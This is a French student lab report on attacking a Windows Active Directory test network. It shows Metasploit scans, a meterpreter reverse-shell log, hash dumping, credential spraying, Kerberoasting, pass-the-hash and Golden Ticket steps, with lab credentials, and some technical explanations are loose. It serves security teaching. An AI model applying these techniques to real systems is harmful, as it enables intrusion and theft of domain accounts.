SOS - Windows
Laboratoire Password Theft et Persistence

Nikolaos Garanis, Nathanaël Mizutani

15.05.2019

1 Reconnaissance

1.1 Expliquer l'utilité de l'argument -Pn

Par défaut `nmap` va d'abord commencer par scanner le réseau à l'aide de pings pour découvrir les machines vivantes. Une fois celles-ci trouvées `nmap` va les sonder plus en profondeur selon ce qui aura été spécifié par l'utilisateur (scan de port, scan de services, ...).

L'argument `-Pn` (No Ping) sert à sauter la phase de découverte des hôtes en les traitant tous comme étant en ligne. Il va ainsi effectuer les scans demandés sur toutes les machines du réseau.

1.2 Quel est le contrôleur de domaine ? Comment pouvez-vous le déterminer (2 façon distinctes) ?

Le contrôleur de domaine est la machine dont l'IP est `172.22.4.2`.

On peut déterminer quelle machine est le contrôleur de domaine :

> en regardant quelle machine a les ports 53 (`domain`) et 88 (`kerberos-sec`) ouverts.

```
msf5 > db_nmap -Pn -n -F 172.22.4.0/29 --open
[*] Nmap: Starting Nmap 7.60 ( https://nmap.org ) at 2019-05-14 08:12 UTC
[*] Nmap: Nmap scan report for 172.22.4.2
[*] Nmap: Host is up (0.00040s latency).
[*] Nmap: Not shown: 93 filtered ports
[*] Nmap: Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
[*] Nmap: PORT     STATE SERVICE
[*] Nmap: 53/tcp   open  domain
[*] Nmap: 88/tcp   open  kerberos-sec
[*] Nmap: 135/tcp  open  msrpc
[*] Nmap: 139/tcp  open  netbios-ssn
[*] Nmap: 389/tcp  open  ldap
[*] Nmap: 445/tcp  open  microsoft-ds
[*] Nmap: 3389/tcp open  ms-wbt-server
```

FIGURE 1 – Résultat du scan de ports

> en regardant le nom de la machine, ici `WAD-DC-SRV2` (avec DC : Domain Controller).

```
msf5 auxiliary(scanner/smb/smb_version) > run

[+] 172.22.4.2:445        - Host is running Windows 2016 Standard (build:14393) (name:WAD-DC-SRV2) (domain:WAD)
[*] Scanned 1 of 5 hosts (20% complete)
[+] 172.22.4.4:445        - Host is running Windows 2016 Standard (build:14393) (name:WAD-SQLSRV01) (domain:WAD)
[*] Scanned 2 of 5 hosts (40% complete)
[+] 172.22.4.5:445        - Host is running Windows 2016 Standard (build:14393) (name:WAD-WEB-SRV02) (domain:WAD)
[*] Scanned 3 of 5 hosts (60% complete)
[+] 172.22.4.6:445        - Host is running Windows 10 Pro (build:10586) (name:WAD-WIN10-A1) (domain:WAD)
[*] Scanned 4 of 5 hosts (80% complete)
[+] 172.22.4.7:445        - Host is running Windows 10 Pro (build:10586) (name:WAD-WIN10-A2) (domain:WAD)
[*] Scanned 5 of 5 hosts (100% complete)
[*] Auxiliary module execution completed
```

FIGURE 2 – Résultat du scan smb

2 Exploitation de vulnérabilités logicielles

2.1 Quels sont les droits d'exécution que vous obtenez ?

On obtient les droits d'exécution du compte `NT AUTHORITY\SYSTEM`, lequel fait parti de `Builtin\Administrator`. On a ainsi les droits administrateurs sur la machine.

2.2 Comment expliquer que vous disposez d'autant de privilège ?

On passe par un processus `smb` pour effectuer l'exploit, or ce processus possède des droits administrateurs. On hérite donc des droits `Administrator` de celui-ci.

2.3 Quel processus exécute votre *meterpreter* sur la machine victime (identifiant et nom) ?

`meterpreter` exécute un `powershell` (pid 4012) sur la machine victime.

2.4 Quelle est la différence entre la version *reverse_tcp* et *bind_tcp* de *meterpreter* ?

Avec la version `reverse_tcp`, `meterpreter` demande à la machine victime de venir se connecter sur celle de l'attaquant. Tandis qu'avec `bind_tcp`, c'est l'attaquant qui va se connecter à la machine victime.

2.5 Dans quelle situation est-il recommandé d'utiliser la version *reverse_tcp* ?

Si un pare-feu bloque les connexions entrantes mais pas les connexions sortantes, il est plus intéressant d'utiliser `reverse_tcp`.

2.6 Dans la sortie de l'exécution, la notion de *stage* apparaît, de quoi s'agit-il ?

Un `stage` est un composant téléchargé par le *payload* pour lui ajouter des fonctionnalités. Contrairement à le *payload*, les *stages* n'ont pas de contraintes sur la taille.

3 Vol de credentials

3.1 Décrivez la structure des entrées récupérées depuis la base SAM

On récupère les entrées de la base SAM avec la commande meterpreter `run post/windows/gather/hashdump`. La structure des entrées se présente comme suit :
<Nom du compte> `:`<id du compte> `:`<hash LM> `:`<hash NTLM> `:::`

3.2 Comment expliquer que plusieurs comptes partagent les mêmes hashs ?

Parce que les mots de passe de ces comptes possèdent les mêmes 14 premiers caractères ou moins s'ils sont plus courts.

3.3 Est-ce que plusieurs machines utilisent les mêmes mots de passe locaux (utilisez *smb_login*) ?

Deux machines (172.22.4.6 et 172.22.4.7) utilisent les mêmes mots de passe pour l'utilisateur Administrator.

```
msf5 auxiliary(scanner/smb/smb_login) > run

[*] 172.22.4.2:445        - 172.22.4.2:445 - Starting SMB login bruteforce
[-] 172.22.4.2:445        - 172.22.4.2:445 - Failed: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:e89aa5264c5da7e3
43276524d47d36b3',
[*] Scanned 1 of 5 hosts (20% complete)
[*] 172.22.4.4:445        - 172.22.4.4:445 - Starting SMB login bruteforce
[-] 172.22.4.4:445        - 172.22.4.4:445 - Failed: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:e89aa5264c5da7e3
43276524d47d36b3',
[*] Scanned 2 of 5 hosts (40% complete)
[*] 172.22.4.5:445        - 172.22.4.5:445 - Starting SMB login bruteforce
[-] 172.22.4.5:445        - 172.22.4.5:445 - Failed: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:e89aa5264c5da7e3
43276524d47d36b3',
[*] Scanned 3 of 5 hosts (60% complete)
[*] 172.22.4.6:445        - 172.22.4.6:445 - Starting SMB login bruteforce
[+] 172.22.4.6:445        - 172.22.4.6:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:e89aa5264c5da7e
343276524d47d36b3' Administrator
[*] Scanned 4 of 5 hosts (80% complete)
[*] 172.22.4.7:445        - 172.22.4.7:445 - Starting SMB login bruteforce
[+] 172.22.4.7:445        - 172.22.4.7:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:e89aa5264c5da7e
343276524d47d36b3' Administrator
[*] Scanned 5 of 5 hosts (100% complete)
[*] Auxiliary module execution completed
```

FIGURE 3 – Comptes avec le même mot de passe

3.4 Quel est le format de hash utilisé pour stocker les hash MS-CACHE ? A quoi correspondent les différentes parties ?

Le format du hash MD4 est le suivant : $MD4(MD4(Unicode(password)) + Unicode(tolower(username)))$. Il est composé des identifiants (nom d'utilisateur et mot de passe) de l'utilisateur.

3.5 À quoi correspond le compte qui se termine par un $ retrouvé dans la mémoire de LSASS ?

Il s'agit d'un compte machine. Celui-ci est automatiquement créé lorsque la machine se connecte au domaine. Cependant nous n'en avons pas trouvé dans LSASS, mais en chargeant Mimikatz. Il s'agit du compte `WAD-SQLSRV01$`.

3.6 Quel type de compte est nécessaire afin d'accéder au GPO sur le partage SYSVOL ?

Il faut un compte du domaine pour accéder au GPO sur le partage SYSVOL.

3.7 Quel est l'identifiant de la GPO qui contient le mot de passe ?

L'identifiant de la GPO est la `clsid` suivante : `CC63F200-7309-4ba0-B154-A71CD118DBCC`.

3.8 Quelle est la valeur chiffrée en CPassword qui correspond au mot de passe trouvé dans la GPP ?

La valeur du CPassword trouvé dans la GPP est `F7mLOGt49wv64Y8HxukelyarUAwwd2BfPagryCKMRP8`.

```
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="check_internet"
      image="0" changed="2019-19-03 09:30:00" uid="{7B923D0E-81FD-4B90-81F7-
      8EE75D91D2C1}" userContext="0" removePolicy="0">
        <Properties deleteWhenDone="0" maxRunTime="120000" startOnlyIfIdle="0"
          stopOnIdleEnd="0" noStartIfOnBatteries="1" stopIfGoingOnBatteries="1"
          systemRequired="0" action="C" name="check_internet"
          appName="C:\Windows\System32\cmd.exe" args="ping 8.8.8.8" startIn=""
          comment="" runAs="svc_sched"
          cpassword="F7mL0Gt49wv64Y8HxukelyarUAwwd2BfPagryCKMRP8" enabled="1">
            <Triggers>
                <Trigger type="DAILY" startHour="07" startMinutes="00"
                  beginYear="2017" beginMonth="9" beginDay="20" hasEndDate="0"
                  repeatTask="0" interval="1"/>
            </Triggers>
        </Properties>
    </Task>
</ScheduledTasks>
```

FIGURE 4 – GPP

3.9 Est-ce que ce compte est utilisé sur l'une des machines (*smb_login*) ?

Le compte local `svc_sched` est utilisé seulement sur la machine 172.22.4.2 (contrôleur de domaine).

```
msf5 auxiliary(scanner/smb/smb_login) > run

[*] 172.22.4.4:445        - 172.22.4.4:445 - Starting SMB login bruteforce
[-] 172.22.4.4:445        - 172.22.4.4:445 - Failed: '.\svc_sched:K33pAlive4ever',
[*] Scanned 1 of 5 hosts (20% complete)
[*] 172.22.4.5:445        - 172.22.4.5:445 - Starting SMB login bruteforce
[-] 172.22.4.5:445        - 172.22.4.5:445 - Failed: '.\svc_sched:K33pAlive4ever',
[*] Scanned 2 of 5 hosts (40% complete)
[*] 172.22.4.2:445        - 172.22.4.2:445 - Starting SMB login bruteforce
[+] 172.22.4.2:445        - 172.22.4.2:445 - Success: '.\svc_sched:K33pAlive4ever'
[*] Scanned 3 of 5 hosts (60% complete)
[*] 172.22.4.6:445        - 172.22.4.6:445 - Starting SMB login bruteforce
[-] 172.22.4.6:445        - 172.22.4.6:445 - Failed: '.\svc_sched:K33pAlive4ever',
[*] Scanned 4 of 5 hosts (80% complete)
[*] 172.22.4.7:445        - 172.22.4.7:445 - Starting SMB login bruteforce
[-] 172.22.4.7:445        - 172.22.4.7:445 - Failed: '.\svc_sched:K33pAlive4ever',
[*] Scanned 5 of 5 hosts (100% complete)
[*] Auxiliary module execution completed
```

FIGURE 5 – compte svc_sched

4 Kerberoast

4.1 Expliquer pourquoi une seule entrée est retournée par le module ?

Le module cherche les SPN utilisés par des comptes utilisateurs dans le domaine spécifié. Une fois ces SPN trouvés, il soumet des requêtes pour obtenir des tickets TGS.

Ainsi, seule une entrée est retournée car c'est le seul service vulnérable pour lequel le module a obtenu un ticket TGS.

4.2 Quel est le SPN complet vulnérable ?

Il s'agit de `MSSQLSvc/WAD-SQLSRV01.WAD.local:1433`.

```
[+] ServicePrincipalName                Name     MemberOf  PasswordLastSet      LastLogon
[+] -------------------------------------  -------  --------  -------------------  -------------------
[+] MSSQLSvc/WAD-SQLSRV01.WAD.local:1433  adm-sql             2019-03-18 15:48:54  2019-05-14 08:31:47
```

FIGURE 6 – SPN vulnérable

4.3 Quel est le compte du domaine associé à ce SPN ?

Le compte associé à ce SPN est `adm-sql`.

4.4 Est-ce que ce compte est utilisé sur l'une des machines (utilisez *smb_login*) ?

Ce compte est utilisé sur les machines 172.22.4.2, 172.22.4.4, 172.22.4.5, 172.22.4.6, 172.22.4.7. Sur la machine 172.22.4.4, c'est un compte `Administrator`.

```
msf5 auxiliary(scanner/smb/smb_login) > run

[*] 172.22.4.4:445        - 172.22.4.4:445 - Starting SMB login bruteforce
[+] 172.22.4.4:445        - 172.22.4.4:445 - Success: 'wad.local\adm-sql:Andromeda1' Administrator
[*] Scanned 1 of 5 hosts (20% complete)
[*] 172.22.4.5:445        - 172.22.4.5:445 - Starting SMB login bruteforce
[+] 172.22.4.5:445        - 172.22.4.5:445 - Success: 'wad.local\adm-sql:Andromeda1'
[*] Scanned 2 of 5 hosts (40% complete)
[*] 172.22.4.2:445        - 172.22.4.2:445 - Starting SMB login bruteforce
[+] 172.22.4.2:445        - 172.22.4.2:445 - Success: 'wad.local\adm-sql:Andromeda1'
[*] Scanned 3 of 5 hosts (60% complete)
[*] 172.22.4.6:445        - 172.22.4.6:445 - Starting SMB login bruteforce
[+] 172.22.4.6:445        - 172.22.4.6:445 - Success: 'wad.local\adm-sql:Andromeda1'
[*] Scanned 4 of 5 hosts (80% complete)
[*] 172.22.4.7:445        - 172.22.4.7:445 - Starting SMB login bruteforce
[+] 172.22.4.7:445        - 172.22.4.7:445 - Success: 'wad.local\adm-sql:Andromeda1'
[*] Scanned 5 of 5 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_login) >
```

FIGURE 7 – Compte Administrator sur 172.22.4.4

4.5 Analyser les logs au moment de l'attaque et décrivez comment psexec fonctionne ?

Lorsq'on utilise `psexe` on obtient le log suivant :

```
[*] Started reverse TCP handler on 172.22.3.151:4444
[*] 172.22.4.5:445 - Connecting to the server...
[*] 172.22.4.5:445 - Authenticating to 172.22.4.5:445 as user 'Administrator'...
[*] 172.22.4.5:445 - Selecting PowerShell target
[*] 172.22.4.5:445 - Executing the payload...
[+] 172.22.4.5:445 - Service start timed out, OK if running a command or non-service
executable...
[*] Sending stage (206403 bytes) to 172.22.4.5
[*] Meterpreter session 8 opened (172.22.3.151:4444 -> 172.22.4.5:58477) at 2019-05-14
17:15:33 +0000
```

`psexe` se connecte à la machine distante puis ouvre dans celle-ci un powershell puis redirige le flux d'entrée vers la machine locale.

4.6 Quels sont les privilèges requis pour l'utilisation de psexec ?

On doit avoir les privilèges `Administrator` pour utiliser `psexe`. L'utilisation des PsTool demande d'être connecté au compte `ADMIN$`.

4.7 Quelle vulnérabilité exploitez-vous pour rebondir sur le second serveur ?

Nous avons utilisé un *Pass-the-hash* pour accéder au second serveur.

4.8 Comment avez-vous pu récupérer un compte du domaine sur le second serveur ?

Nous avons utilisé Mimikatz pour récupérer les identifiants de l'administrateur du domaine WAD-DC-SRV2 présents sur le serveur. On récupère ensuite le hash NTML de l'administrateur, puis on le concatène avec l'un des hash LM commun à tous les comptes. Avec ce hash reconstitué nous nous connectons au compte de l'administrateur du domaine.

```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username        Domain       NTLM                              SHA1                                      DPAPI
--------        ------       ----                              ----                                      -----
Administrator   WAD-DC-SRV2  24932905c77797ff123f3cc94f3e2bdd
Administrator   WAD          24932905c77797ff123f3cc94f3e2bdd  9334a28f68f899c66be8bcfafe5fb1c65d948ced  982a1bc2408ccbd63684f1fab
6a341d5
WAD-WEB-SRV02$  WAD          47d33834a402809baa302b7c18f0d7df  9adeebd8949bcf429aacf7b9b2152b07d020f715
WAD-WEB-SRV02$  WAD          608e597e1b758b38026442a2e18f13bc  1be2a59cc5b171f6aff5b3df511dbd4d18f4a3e0

wdigest credentials
===================

Username        Domain       Password
--------        ------       --------
(null)          (null)       (null)
Administrator   WAD-DC-SRV2  (null)
Administrator   WAD          (null)
WAD-WEB-SRV02$  WAD          (null)
```

FIGURE 8 – Hash NTLM de WAD-DC-SRV2

4.9 Quelles sont les actions qui justifient l'utilisation d'un compte « Domain Admins » ?

Toutes les actions qui concernent directement l'administration du domaine. Par exemple, le déploiement d'un logiciel sur toutes les machines ou l'ajout d'une nouvelle machine au domaine.

4.10 Comment éviter qu'un de ces comptes puisse être volé ?

Pour éviter que l'un de ces comptes puisse être compromis, on change régulièrement son mot de passe. On s'assure aussi que les mots de passe soient suffisamment solides (complexité, longueur). À chaque fois qu'un administrateur se connecte sur une machine, il faut qu'il la redémarre en se déconnectant.

4.11 Qu'est-ce qui se passe quand vous essayez de monter le partage la première fois ?

Nous obtenons l'erreur « The password is invalid ».

```
C:\Windows\system32>net use x: \\WAD-DC-SRV2\C$
net use x: \\WAD-DC-SRV2\C$
The password is invalid for \\WAD-DC-SRV2\C$.

Enter the user name for 'WAD-DC-SRV2': System error 1223 has occurred.

The operation was canceled by the user.
```

FIGURE 9 – Première tentative

4.12 Qu'est-ce qui se passe quand vous essayez de monter le partage la seconde fois ? Comment expliquer cette différence ?

La montage fonctionne la deuxième fois car nous avons les droits nécessaires. En effet, grâce au *Golden Ticket* nous avons généré un ticket TGS nous donnant les droits administrateur.

```
C:\Windows\system32>net use x: \\WAD-DC-SRV2\C$
net use x: \\WAD-DC-SRV2\C$
The command completed successfully.
```

FIGURE 10 – Deuxième tentative

4.13 Localiser l'événement généré au moment de l'authentification avec le Golden Ticket dans les logs du DC

```
TimeGenerated       EventID Username
-------------       ------- --------
15.05.2019 15:18:07    4624 WAD-DC-SRV2$
15.05.2019 15:17:52    4624 WAD-DC-SRV2$
15.05.2019 15:17:03    4624 WAD-DC-SRV2$
15.05.2019 15:17:03    4624 groupe_15
15.05.2019 15:16:52    4624 WAD-DC-SRV2$
15.05.2019 15:16:47    4624 Administrator
15.05.2019 15:16:27    4624 WAD-DC-SRV2$
15.05.2019 15:16:26    4624 WAD-DC-SRV2$
15.05.2019 15:16:26    4624 WAD-DC-SRV2$
```

FIGURE 11 – Log lors de l'authentification avec le golden ticket

4.14 Combien de temps est valable le golden ticket que vous avez généré ?

Par défaut un ticket kerberos dure 10 heures. Cependant le *Golden Ticket* généré par Mimikatz est valable pour 10 ans et renouvelable.

4.15 Qu'est ce que l'administrateur du domaine doit faire s'il détecte qu'un attaquant a compromis le hash du compte krbtgt ?

Changer rapidement et deux fois de suite le mot de passe du compte krbtgt pour révoquer tous les tickets courants. Ensuite immédiatement contacter l'équipe de gestion des incidents.

5 Sources

- https://buffered.io/posts/staged-vs-stageless-handlers/
- https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/
- https://security.stackexchange.com/questions/161889/understanding-windows-local-password-hashes-ntlm
- https://en.wikipedia.org/wiki/NT_LAN_Manager
- https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/maximum-lifetime-for-service-ticket
- https://security.stackexchange.com/questions/30889/cracking-ms-cache-v2-hashes-using-gpu
- https://www.helloitsliam.com/2016/02/10/understanding-metasploit-payloads/
- https://support.microsoft.com/en-us/help/253821/system-error-85-with-net-use-command
- http://rycon.hu/papers/goldenticket.html
- https://superuser.com/questions/265216/windows-account-ending-with
- https://pentestlab.blog/tag/service-principal-name/
- https://adsecurity.org/?p=1515
- https://github.com/rapid7/metasploit-framework/pull/9718/commits/8d12118d1f9333e92b0de7d7350a7f0b2ed1a
- https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc162490(v=msdn.10)
- https://www.itprotoday.com/compute-engines/psexec